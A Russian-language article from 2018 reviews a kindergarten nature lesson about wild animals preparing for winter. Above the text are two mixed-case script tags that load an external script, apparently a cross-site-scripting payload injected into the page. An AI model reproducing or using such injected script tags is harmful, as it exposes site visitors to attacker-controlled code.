<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

02.11.2018

Особенности современного занятия.

Проблемы развития воспитания,несомненно, заслуживают пристального внимания, так как речь идет о завтрашнем дне Казахстана, ценностных ориентирах нашего общества о национальной безопасности страны, корни которой кроются в воспитании,творческом развитии,гражданском становлении подрастающего поколения. Поэтому сегодня образовательное учреждение должно готовить ребенка к жизни в высокотехнологичном конкурентном мире, а так же воспитывать бережное отношение к богатству родной природы, желание охранять и оказывать ей посильную помощь. Детям в детском саду любопытен мир, который их окружает и им нравиться учиться новым вещам.  В старшей группе на занятии по естествознанию

воспитатель Н.Леглер вела беседу, о том что, звери, живущие в лесах, готовятсяк зиме «почти также как и мы!» Занятие динамичное, оно включало приемы, которые предусматривают быструю смену деятельности. Беседа -

сидя на ковре, перемещение по группе во время поиска выхода из проблемной ситуации. Дети участвуя в общей

беседе, слушали не перебивая своего сверстника; активизация словарь детей  осуществлялась за счет слов- название

детенышей, упражняла в согласовании существительных, прилагательных; Использование модели «Дикие животные», помогло в интересной игровой форме реализовать основную обучающую задачу- формирование представления детей о животных и месте их обитания. В каждом моменте занятия Надежда Витальевна старалась направлять

малышей на поиск решений проблемы, помогала приобрести новый опыт,активизировать самостоятельность и поддерживать положительный эмоциональный настрой.Создание поисковых, проблемных ситуаций активизировало

мыслительную и речевую деятельность детей.  Воспитатель организовал занятие таким образом, что большую

часть говорили и выполняли дети, умело осуществляя руководство и направляя беседу в нужное русло.